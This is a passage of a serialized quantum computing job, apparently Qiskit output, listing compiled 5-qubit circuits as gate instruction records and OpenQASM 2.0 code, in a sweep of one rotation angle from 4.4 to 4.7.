q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [4.4, -1.5707963267948966, 1.5707963267948966], 'texparams': ['4.4', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1275', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(4.40000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [4.5, -1.5707963267948966, 1.5707963267948966], 'texparams': ['4.5', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1277', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(4.50000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [4.6000000000000005, -1.5707963267948966, 1.5707963267948966], 'texparams': ['4.6', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1279', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(4.60000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [4.7, -1.5707963267948966, 1.5707963267948966], 'texparams': ['4.7', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1281', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier 